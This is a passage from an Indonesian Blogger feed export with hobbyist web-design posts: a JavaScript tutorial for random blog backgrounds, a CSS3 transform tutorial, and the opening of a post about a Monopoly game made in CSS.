ve}.o1:before{content:"";position:absolute;background:#fff;width:10px;height:10px;margin-top:25px;margin-left:25px}.f{width:470px;height:200px;float:left}.a{width:118px;height:159px;float:left;margin-top:10px;margin-left:144px;margin-right:10px}.a-text1{background:#000;width:100%;height:50%}.a-text1:before{content:"";position:absolute;background:#fff;width:50px;height:60px;margin-top:30px;margin-left:30px}.a-text1:after{content:"";position:absolute;background:#fff;width:30px;height:40px;margin-top:50px}.a-text2{background:#000;width:90%;height:50%;float:right;margin-left:5px}.a-text2:before{content:"";position:absolute;background:#fff;width:20px;height:30px;margin-top:30px;margin-left:30px}.g{width:140px;height:159px;margin-top:10px}.g-text1{background:#000;width:95px;height:70px;position:relative}.g-text1:before{content:"";position:absolute;background:#fff;width:40px;height:20px;right:0;bottom:0}.g-text2{background:#000;width:100%;height:89px;position:relative}.g-text2:before{content:"";position:absolute;background:#fff;width:40px;height:60px;left:55px}.g-text2:after{content:"";position:absolute;background:#fff;width:30px;height:40px;bottom:29;right:23}.r{background:#de0101;position:relative;width:35px; height:60px;float:right;margin-top:-158px;margin-right:3px}.r:before{content:"";position:absolute;background:#fff;width:2px;height:20px;margin-left:17px;bottom:0}.r:after{content:"";position:absolute;background:#fff;width:18px;height:2px;right:0;top:25px}.h{width:100px;height:159px;margin-top:10px;margin-left:355px;position:absolute}.h-text1{background:#000;width:50%;height:50%;float:right;border-top-left-radius:5px}.h-text2{background:#000;width:100%;height:50%;float:right;border-top-left-radius:5px}.h-text2:before{content:"";position:absolute;background:#fff;width:40px;height:50px;bottom:0;left:10px}</style><div id="wrapper"><div class="t"><div class="t-text1"></div><div class="t-text2"></div><div class="y1"><div class="y1-text1"></div><div class="y1-text2"></div><div class="y1-text3"></div><div class="y1-text4"></div></div><div class="p"><div class="p1"></div><div class="p2"></div><div class="o1"></div><div class="p3"></div></div><div class="t-text3"></div></div><div class="f"><div class="f-text1"></div><div class="f-text2"></div><div class="f-text3"></div><div class="a"><div class="a-text1"></div><div class="a-text2"></div></div><div class="pp"><div class="pp1"></div><div class="pp2"></div><div class="pp3"></div></div><div class="h"><div class="h-text1"></div><div class="h-text2"></div></div><div class="g"><div class="g-text1"></div><div class="g-text2"></div><div class="r"></div></div></div><div class="y2"><div class="y2-text1"></div><div class="y2-text2"></div><div class="y2-text3"></div><div class="y2-text4"></div></div></div>Farixsantips</div>
</div>Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com178tag:blogger.com,1999:blog-6541701603000981262.post-63919523039502184532011-12-29T18:47:00.000-08:002012-01-02T06:36:08.822-08:00Membuat Random BackgroundSetelah sekian lamanya di rumah dan tak melakukan suatu aktivitas apapun, disitulah saya merasakan perasaan yang hambar dan bosan. Alhamdulillah pada pagi hari yang cerah ini saya dapat berbagi mengenai <a href="http://farixsantips.blogspot.com/search/label/Tutorial" target="_blank">tutorial </a>lagi kali ini. Pada saat yang tak diduga ini saya akan mempoeting bagaimana cara membuat tampilan Background pada blog <i>menjadi berubah secara acak </i>ketika di <b>refresh</b> browsernya.<style>
.button{font:30px Calibri,Arial,sans-serif; text-shadow:1px 1px 0 rgba(255,255,255,0.4); text-decoration:none !important; white-space:nowrap; display:inline-block; vertical-align:baseline; position:relative; cursor:pointer; padding:10px 20px; background-repeat:no-repeat; background-position:bottom left; background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'); background-position:bottom left,top right,0 0,0 0; background-clip:border-box; -moz-border-radius:8px; -webkit-border-radius:8px; border-radius:8px; -moz-box-shadow:0 0 1px #fff inset; -webkit-box-shadow:0 0 1px #fff inset; box-shadow:0 0 1px #fff inset; -webkit-transition:background-position 1s; -moz-transition:background-position 1s; transition:background-position 1s}.button:hover{background-position:top left; background-position:top left,bottom right,0 0,0 0}.button:active{bottom:-1px}.blue.button{color:#0f4b6d !important; border:1px solid #84acc3 !important; background-color:#48b5f2; background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-moz-radial-gradient( center bottom,circle,rgba(89,208,244,1) 0,rgba(89,208,244,0) 100px),-moz-linear-gradient(#4fbbf7,#3faeeb); background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-webkit-gradient( radial,50% 100%,0,50% 100%,100,from(rgba(89,208,244,1)),to(rgba(89,208,244,0))),-webkit-gradient(linear,0% 0%,0% 100%,from(#4fbbf7),to(#3faeeb))}.blue.button:hover{background-color:#63c7fe; background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-moz-radial-gradient( center bottom,circle,rgba(109,217,250,1) 0,rgba(109,217,250,0) 100px),-moz-linear-gradient(#63c7fe,#58bef7); background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-webkit-gradient( radial,50% 100%,0,50% 100%,100,from(rgba(109,217,250,1)),to(rgba(109,217,250,0))),-webkit-gradient(linear,0% 0%,0% 100%,from(#63c7fe),to(#58bef7))}body{background:url(http://www.startextures.com/starnetblog/wp-content/uploads/2011/02/starnetblog_subtile_gray_pattern4.jpg);}
</style><br />
<br />
<center><a class="button blue" href="http://randombackground.blogspot.com/">Click Demo!</a></center><br />
<b>Tujuan</b> dari pada membuat tampilan latar belakang blog seperti ini tidak lah bukan adalah untuk memperindah penampilan blog agar lebih sedikit tidak membosankan. Gambarnya-pun dengan mudahnya bisa di rubah sesuai dengan kemauan dan selera sobat masing masing. Penggunaan <b>javascript</b>nya menurut saya sangatlah mudah di mengerti.<br />
<br />
Langsung saja bagaimana cara memasangkan script ajaib itu ke blog masing masing.<br />
<ol><li>Pertama tama buka blogger.com</li>
<li>Klik <b>Template</b> kemudian klik <b>Edit HTML</b></li>
<li>Letakan kode berikut tepat di atas kode <b><body></b></li>
<blockquote><script type='text/javascript'>
var background= new Array()
background[0]="<span style="color: red;">https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTXESp8Y_HNfgTmiQYum2-o8ddlrfLnPItxbXA8hL_S0guIHRHbcrjr9jdrzNnZrUBK0v1SC6NBCHQ1nAC6v3l7DpZtXpgQJM8JY5_4pfxoYAASG4_GkPOdZEkdHIK9vZ-6dgOF35U4nE/s1600/Lands1Farixsan.jpg</span>"
background[1]="<span style="color: red;">https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEintEETSKqiRnLZLUSI7slZRrmrA5285tqpmEE34V4vPHRTt9B-GXIskB21C0OYC32rVprZWQtlgSCuuMBNQ3BHBWsSwb2-xzGcoafJQ8O3j7bkv53DwWLouFRMAUtcuHVLqTLPWIcEXfE/s1600/Lands2Farixsan.jpg</span>"
background[2]="<span style="color: red;">https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_8D1bOMkF-58AfiIZ3zg47Nz6vCeRcf5Df0qGXHNnrREaPKqotonxDhIb12LBHO-oUmqIppcEKjMxI03gZsSU6Fw9AuEy8fVGkOsobrEJczug9PbjC_TBPn1faSfOS3SnJMzZYBeZlHc/s1600/Lands3Farixsan.jpg</span>"
background[3]="<span style="color: red;">https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfN9lRluxOryh-DuZfMr_Rvk8L5LQh3fVN74dWk7Z2IzPwjy5lQhl_JJ_H6Nx_qCzLxtSwfAsU0Xbk3sKx4aVfKcOBeGbgbKJ-MgPDgsE86UnT2hHIrao6mQgaBzG7Xlv-2kNPZcD469A/s1600/Lands4Farixsan.jpg</span>"
background[4]="<span style="color: red;">https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHx2ykSJvNUa7z_DqfiqYiM_iI1WjUvPShH5vXvuqbLBqtU2t6Vul-GKn3UyvvGsFHL0rhkp61GpQoWiawtyIXs-kuVm9jxxMJiyHXfU8TBLH1Z4l_QQVFrBf5yVPKNkxSWQEtours6wk/s1600/Lands5Farixsan.jpg</span>"
var random=Math.floor(<b>4*Math.random</b>());
document.write("<style>body {");
document.write(' background:url("' + background[random] + '") repeat top center fixed #fff;');
document.write(" }</style>");
</script></blockquote><i>Ganti kode yang berwarna <span style="color: red;">merah</span> dengan background selera sobat. Sobat bisa menambahkan gambar lebih dari 5 gambar itu dengan mengurutkan angkanya, contoh : <b>[5], [6], [7]</b>, dst.. dan mengganti <b>4*Math.random</b> menjadi angka maximal dari kumpulan gambar gambarnya. </i>
<li>Selanjutnya, Save!</li>
</ol>Mudah bukan untuk mencoba tampilan <b>Random Bacground</b> itu? Semoga bermanfaat ya kawan :)Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com173tag:blogger.com,1999:blog-6541701603000981262.post-60997105227225344972011-12-21T20:16:00.000-08:002011-12-31T19:29:39.098-08:00Css3 Transform 2D<link href="http://fonts.googleapis.com/css?family=Ruthie" rel="stylesheet" type="text/css"><link href="http://fonts.googleapis.com/css?family=Bad+Script" rel="stylesheet" type="text/css"><style>.effect{transition: all 0.2s;-moz-transition: all 0.2s;-webkit-transition: all 0.2s;}.effect:hover{transition: all 0.2s;-moz-transition: all 0.2s;-webkit-transition: all 0.2s;opacity:0.5;}.besar{font-size:30px;font-family: 'Ruthie', cursive;}a,a:link,a:visited{color:#fff;}body{background:url(http://farm5.staticflickr.com/4008/4689159023_dee2c9e18d_z.jpg);}</style><div class="effect" style="background: url(http://cdn.naldzgraphics.net/wp-content/uploads/2009/02/1910.jpg); border-top-left-radius: 20px; border: 4px solid #eee; box-shadow: inset 0 0 3px #000,0 0 3px #aaa; color: white; float: left; font-family: 'Bad Script', sans-serif; font-size: 15px; line-height: 1.8em; margin-right: 20px; padding: 10px 20px; text-shadow: 1px 1px 0px #777; width: 400px;">Setiap orang pasti pernah merasakan rasanya itu sakit, entah itu batuk, pilek, nyeri, lemes, dan 1001 macam penyakit lainnya. Hanya keturunan Fir'aun saja yang kebal terhadap penyakit. Apakah itu dirimu? :D Dilalah kemarin saya sakit yang hampir di vonis dengan penyakit Tifus atau DBD. Kedua penyakit yang sangat bingung dimana saya hampir menerimanya dengan lapang dada. Dibantu do'a, ibadah, dan dukungan orang tua, serta teman dekatku akhirnya saya bisa terbebas dari vonis itu. Alhamdulillah!</div><span style="color:white"><b>CSS3 Transform</b> dapat disebut juga dengan efek perubahan yang terjadi pada elemen asli berdasarkan dari perubahan bentuk (Transformasi). Tahu film animasi Transformer kan? Mirip-mirip lah seperti Css3 yang satu ini hehe. Dalam pengkodean <b>Css3 Transform</b> ini, telah di bentuk dan di bedakan menjadi 5 macam transformasi.<br /><ol><li><a href="#translate">Transform:Translate</a></li><li><a href="#rotate">Transform:Rotate</a></li><li><a href="#scale">Transform:Scale</a></li><li><a href="#skew">Transform:Skew</a></li><li><a href="#matrix">Transform:Matrix</a></li></ol></span><div style="-pie-background: linear-gradient(0deg,transparent 79px,#abced4 79px,#abced4 81px,transparent 81px) 0 0 / 100% 1.2em, linear-gradient(#eee .05em,transparent .05em) 0 0 / 100% 1.2em #fff; background-color: white; background-image: -moz-linear-gradient(0deg,transparent 79px,#abced4 79px,#abced4 81px,transparent 81px), -moz-linear-gradient(#eee .05em,transparent .05em); background-image: -ms-linear-gradient(0deg,transparent 79px,#abced4 79px,#abced4 81px,transparent 81px), -ms-linear-gradient(#eee .05em,transparent .05em); background-image: -o-linear-gradient(0deg,transparent 79px,#abced4 79px,#abced4 81px,transparent 81px), -o-linear-gradient(#eee .05em,transparent .05em); background-image: -webkit-linear-gradient(0deg,transparent 79px,#abced4 79px,#abced4 81px,transparent 81px), -webkit-linear-gradient(#eee .05em,transparent .05em); background-image: linear-gradient(0deg,transparent 79px,#abced4 79px,#abced4 81px,transparent 81px), linear-gradient(#eee .05em,transparent .05em); background-size: 100% 1.2em; behavior: url(/PIE.htc); border: 3px solid #ffffff; box-shadow: 0 0 3px #aaa,inset 0 0 8px #ddd; color: black; margin-top: 30px; padding-bottom: 20px; padding-left: 20px; padding-right: 20px; padding-top: 20px; text-shadow: 0px 0px 3px #ccc;"><span class="besar" id="translate" style="color: red;"><b>Translate</b></span><br />Dalam menggunakan metode translate() ini, elemen yang seharusnya di tempat (posisi) awal dapat berpindah ke tempat (posisi) lainnya. Elemen akan berpindah searah dengan sumbu X dan sumbu Y. Sumbu X itu arah antara kanan dan kiri, sedangkan Sumbu Y itu arah antara atas dan bawah. Sebagai Contohnya berikut ini :<br /><br /><div style="border: 1px dashed #000; height: 100px; text-align: center; width: 100px;">ORIGINAL</div><div style="border-bottom-color: rgb(0, 0, 0); border-bottom-style: solid; border-bottom-width: 1px; float: left; font-size: 12px; margin-right: 5px; margin-top: 50px; width: 37px;">50px</div><div style="border-bottom-color: rgb(0, 0, 0); border-bottom-style: dashed; border-bottom-width: 1px; border-image: initial; border-left-color: rgb(0, 0, 0); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(0, 0, 0); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(0, 0, 0); border-top-style: dashed; border-top-width: 1px; height: 100px; margin-left: 50px; margin-top: 10px; text-align: center; width: 100px;">TRANSLATE<br />(50px, 10px)</div><blockquote style="margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 10px;">transform:translate(<b>50px,10px</b>);<br />-ms-transform:translate(<b>50px,10px</b>);<br />-moz-transform:translate(<b>50px,10px</b>);<br />-webkit-transform:translate(<b>50px,10px</b>);<br />-o-transform:translate(<b>50px,10px</b>);</blockquote><b>translate(sumbuX, sumbuY);</b> Jadi sudah di perlihatkan ada tanda <b>50px</b> yang berarti hasil penranslatean [susah banget nih ngomongnya] arah Sumbu X atau kanan dan kiri. (-)Angka berarti arahnya ke kiri, sedangkan angka positif kekanan. Sebaliknya dengan Sumbu Y yang bernilai 10 itu. (-)Angka berarti ke atas, sedangkan angka positif ke bawah.<br /><br /><span class="besar" id="rotate" style="color: red;"><b>Rotate</b></span><br />Dalam penggunaan metode rotate() ini, elemen yang seharusnya dalam keadaan normal sebelumnya bertransformasi menjadi berputar. Dalam kasus ini derajat (deg) dijadikan alat hitung untuk menenukan kemiringan elemen. Sudah saya posting sebelumnya tentang Css jenis ini [<a href="http://farixsantips.blogspot.com/2010/12/css-tulisan-miring-atau-derajad.html" target="_blank">Disini</a>]. Sebagai Contohnya berikut ini :<br /><br /><div style="-moz-transform: rotate(10deg); -ms-transform: rotate(10deg); -o-transform: rotate(10deg); -webkit-transform: rotate(10deg); border: 1px dashed #000000; float: left; height: 100px; margin-left: 20px; margin-right: 20px; margin-top: 10px; text-align: center; transform: rotate(10deg); width: 100px;">ROTATE<br />(10deg) </div><br /><blockquote style="float: right; margin-left: 0px; margin-right: 0px; margin-top: -30px; width: 780px;">-moz-transform: rotate(<b>10deg</b>);<br />-ms-transform: rotate(<b>10deg</b>);<br />-o-transform: rotate(<b>10deg</b>);<br />-webkit-transform: rotate(<b>10deg</b>);<br />transform: rotate(<b>10deg</b>);</blockquote><br /><br /><br /><br /><br /><br />Dalam kode Css ini alat pengukur kemiringan ini di namakan <b>degree(deg)</b> atau derajat. Ukuran normalnya suatu kemiringan disini adalah (0deg), lebih dari nol berarti miring ke kanan, sedangkan kurang dari nol alias (-) berarti ke kiri.<br /><br /><span class="besar" id="scale" style="color: red;"><b>Scale</b></span><br />Dalam penerapan metode <b>scale()</b> ini, skala dalam elemen dasar bisa di perkecil ataupun di perbesar. Seperti yang pernah saya post di blog ini [<a href="http://farixsantips.blogspot.com/2011/06/effect-hover-zoom-smooth-pada-object.html">Disini</a>]. <span style="background-color: white;">Sebagai Contohnya berikut ini :<br /></span><br /><div style="border: 1px dashed #000; float: left; height: 100px; margin-bottom: 20px; margin-right: 20px; text-align: center; width: 100px;"><span style="background-color: white;">ORIGINAL</span></div><div style="-moz-transform: scale(1.2); -ms-transform: scale(1.2); -o-transform: scale(1.2); -webkit-transform: scale(1.2); border: 1px dashed #000; float: left; height: 100px; margin-bottom: 20px; text-align: center; transform: scale(1.2); width: 100px;">SCALE<br />(1.2) </div><blockquote style="float: right; margin-left: 0px; margin-right: 0px; margin-top: -12px; width: 680px;">-moz-transform: scale(<b>1.2</b>);<br />-ms-transform: scale(<b>1.2</b>);<br />-o-transform: scale(<b>1.2</b>);<br />-webkit-transform: scale(<b>1.2</b>);<br />transform: scale(<b>1.2</b>);</blockquote><br /><br /><br /><br /><br /><br /><b>transform: scale(1.2)</b> berarti suatu elemen di perbesar sebanyak 1.2x . Titik normalnya adalah (1) kurang dari satu berarti di perkecil, sedangkan lebih dari satu artinya di perbesar.<br /><br /><span class="besar" id="skew" style="color: red;"><b>Skew</b></span><br />Dalam penggunaan metode <b>skew()</b> ini, elemen akan di miringkan tetapi tidak seperti <b>transform:rotate()</b> sebelumnya yang di putar. Untuk lebih jelasnya lihat kebawah :<br /><br /><div style="-moz-transform: skew(-20deg, -10deg); -ms-transform: skew(-20deg, -10deg); -o-transform: skew(-20deg, -10deg); -webkit-transform: skew(-20deg, -10deg); background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3Kb4s7xC8A6LGoI_R4mqxxVCaGmmnFHtUhoHUzqYpVR_0DeF9IahBpNjmCKPQeKv-X-XACwbJOLZjjsdDn2GeiaIly0cPe87wo4Fn_LmxqcJHq5ad2faZkg6qFCt5YXHP_nBgp6Kgr0s/s320/Chrome.jpg); border: 1px dashed #000; float: left; height: 100px; margin-left: 20px; margin-right: 10px; text-align: center; transform: skew(-20deg, -10deg); width: 100px;">SKEW</div><blockquote style="float: right; margin-left: 10px; margin-right: 0px; margin-top: -12px; width: 780px;">-moz-transform: skew(-20deg, -10deg);<br />-ms-transform: skew(-20deg, -10deg);<br />-o-transform: skew(-20deg, -10deg);<br />-webkit-transform: skew(-20deg, -10deg);<br />transform: skew(-20deg, -10deg);</blockquote><br /><br /><br /><br /><br /><br />Skew() ini menggunakan 2 sumbu sama seperti translate itu. Skew(<b>SumbuX, SumbuY</b>) sumbu <b>X</b> untuk miring ke kanan dan ke kiri, sedangkan sumbu <b>Y</b> untuk miring ke atas dan ke bawah. Hasilnya pun seperti jajargenjang. Lihat pada gambar disini agar lebih jelasnya, <b><a href="http://2.bp.blogspot.com/-Li63mGcIoy8/Tvfr49QoQjI/AAAAAAAAAL8/hyiZU2Vptp0/s1600/Skew.png">Skew.jpg</a></b><br /><br /><span class="besar" id="matrix" style="color: red;"><b>Matrix</b></span><br />Metode <b>Matrix()</b> ini adalah metode yang terakhir kita dalam efek transformasi di sini. Metode ini adalah gabungan dari metode <b>translate()</b>, <b>scale()</b>, dan <b>skew()</b> membuat sudut pandang yang lebih berbeda. Lihat, sekilas memang tak berbeda dengan <b>Skew() </b>tetapi di kodenya sangat beda.<br /><br /><div style="-moz-transform: matrix(1, -0.2, 0, 1, 0, 0); -ms-transform: matrix(1, -0.2, 0, 1, 0, 0); -o-transform: matrix(1, -0.2, 0, 1, 0, 0); -webkit-transform: matrix(1, -0.2, 0, 1, 0, 0); background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3Kb4s7xC8A6LGoI_R4mqxxVCaGmmnFHtUhoHUzqYpVR_0DeF9IahBpNjmCKPQeKv-X-XACwbJOLZjjsdDn2GeiaIly0cPe87wo4Fn_LmxqcJHq5ad2faZkg6qFCt5YXHP_nBgp6Kgr0s/s320/Chrome.jpg); border: 1px dashed rgb(0, 0, 0); float: left; height: 100px; margin-right: 10px; transform: matrix(1, -0.2, 0, 1, 0, 0); width: 100px;"></div><blockquote style="float: right; margin-left: 10px; margin-right: 0px; margin-top: -12px; width: 810px;">-moz-transform: matrix(1, -0.2, 0, 1, 0, 0);<br />-webkit-transform: matrix(1, -0.2, 0, 1, 0, 0);<br />-o-transform: matrix(1, -0.2, 0, 1, 0, 0);<br />-ms-transform: matrix(1, -0.2, 0, 1, 0, 0);<br />transform: matrix(1, -0.2, 0, 1, 0, 0);</blockquote><br /><br /><br /><br /><br /><br />Perhatikan gambar berikut ini! Diambil dari data <b>transform: matrix(1, -0.2, 0, 1, 0, 0);</b> [<a href="http://3.bp.blogspot.com/-gTn8fNbIK0U/Tvf48DQ9NfI/AAAAAAAAAMI/hJFmiqD_u9k/s1600/Matrix.png">Disini</a>]. Karena kodenya sekaligus disatukan maka kerumitanpun timbul.</div>Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com195tag:blogger.com,1999:blog-6541701603000981262.post-7384473446974922362011-12-21T16:19:00.000-08:002012-01-02T06:37:46.266-08:00Experiment - Monopoly Game With CSS<style>
.scroll-comment {background:url(http://bennaogest.files.wordpress.com/2011/03/paper-background.jpg);border:0;box-shadow:inset 2px 2px 1px #000;}body{background:url(http://farm5.staticflickr.com/4021/4583474627_a176c05331_z.jpg)repeat;}.post-body img{opacity:1;}.button{font:30px Calibri,Arial,sans-serif; text-shadow:1px 1px 0 rgba(255,255,255,0.4); text-decoration:none !important; white-space:nowrap; display:inline-block; vertical-align:baseline; position:relative; cursor:pointer; padding:10px 20px; background-repeat:no-repeat; background-position:bottom left; background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'); background-position:bottom left,top right,0 0,0 0; background-clip:border-box; -moz-border-radius:8px; -webkit-border-radius:8px; border-radius:8px; -moz-box-shadow:0 0 1px #fff inset; -webkit-box-shadow:0 0 1px #fff inset; box-shadow:0 0 1px #fff inset; -webkit-transition:background-position 1s; -moz-transition:background-position 1s; transition:background-position 1s}.button:hover{background-position:top left; background-position:top left,bottom right,0 0,0 0}.button:active{bottom:-1px}.blue.button{color:#0f4b6d !important; border:1px solid #84acc3 !important; background-color:#48b5f2; background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-moz-radial-gradient( center bottom,circle,rgba(89,208,244,1) 0,rgba(89,208,244,0) 100px),-moz-linear-gradient(#4fbbf7,#3faeeb); background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-webkit-gradient( radial,50% 100%,0,50% 100%,100,from(rgba(89,208,244,1)),to(rgba(89,208,244,0))),-webkit-gradient(linear,0% 0%,0% 100%,from(#4fbbf7),to(#3faeeb))}.blue.button:hover{background-color:#63c7fe; background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-moz-radial-gradient( center bottom,circle,rgba(109,217,250,1) 0,rgba(109,217,250,0) 100px),-moz-linear-gradient(#63c7fe,#58bef7); background-image:url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),url('https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN6biDmFYor4zy0fj8K0gKPmdaftGqBZJ262lfN9LJaZA_xLfd02nFjeXJkvgRGX63KqDYFI_vttc3PobfUhmHcO1E-g_om7Yo-vHP7NltY1jOYe77hhefYbI91E5mtZHbld-LWPclBmZC/s144/button_bg.png'),-webkit-gradient( radial,50% 100%,0,50% 100%,100,from(rgba(109,217,250,1)),to(rgba(109,217,250,0))),-webkit-gradient(linear,0% 0%,0% 100%,from(#63c7fe),to(#58bef7))}
</style><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://cssmonopoly.blogspot.com/" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUgP1imicLF0_svetDpkTyej_8NaBiJGi5kn4Y6eTKRKYUA-j2OVvvNHVdTdofnzdo-I5ATuu1M0y5HqcXALx6d8wIvkvjGhTlJK5JORUFH0V9cK8wa5butHECpd46JHWqZ6qIdJR1P7Y/s1600/Monopoly+Pict.png" style="box-shadow: 0 1px 0 #ccc, 0 2px 0 #c9c9c9, 0 3px 0 #bbb, 0 4px 0 #b9b9b9, 0 5px 0 #aaa, 0 6px 1px rgba(0,0,0,.1), 0 0 5px rgba(0,0,0,.1), 0 1px 3px rgba(0,0,0,.3), 0 3px 5px rgba(0,0,0,.2), 0 5px 10px rgba(0,0,0,.25);" /></a></div>
<br />
<br />
<center><a class="button blue" href="http://cssmonopoly.blogspot.com/">Click For Real Monopoly!!</a></center><br />
<div style="background: #de0101; border: 3px dashed #fff; box-shadow: 1px 1px 2px #aaa,inset 0 0 4px #fc0; color: white; margin: 0 auto; padding: 20px; width: 400px;">
<span class="caps">M</span>onopoly adalah suatu permainan yang sangat menyenangkan bagi saya. Menurut saya Monopoly adalah game yang di sertai dengan taktik dan keberuntungan. Oleh karena itu game ini terkenal di kalangan muda dan tua baik dalam negara maupun mancanegara.<br />
<br />
